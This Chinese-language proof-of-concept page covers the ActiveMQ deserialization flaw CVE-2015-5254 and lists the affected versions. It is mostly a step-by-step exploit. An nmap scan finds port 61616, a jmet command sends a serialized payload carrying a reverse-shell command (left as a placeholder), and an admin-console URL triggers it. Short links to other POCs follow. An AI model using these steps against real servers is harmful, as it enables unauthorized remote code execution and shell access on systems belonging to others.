POC ActiveMQ 反序列化漏洞（CVE-2015-5254）

[Shacker已验证会员]

## 漏洞概述

该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务（JMS）ObjectMessage对象利用该漏洞执行任意代码。

## 影响范围

```http
ActiveMQ < 5.13.0
```

## EXP

1、确定目标开启61616端口

```bash
 nmap -sV -Pn -T4 -sC -p 61616 IP
```

2、发送反弹payload

```bash
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "反弹shell命令" -Yp target-IP 61616
```

3、点击触发Browse event-Message ID ，成功反弹

[http://IP:8161/admin/message.jsp?id=ID&JMSDestination=event](http://ip:8161/admin/message.jsp?id=ID&JMSDestination=event)

 

POC  禅道 OA[CNVD-C-2020-121325]

POC  CVE-2016-3088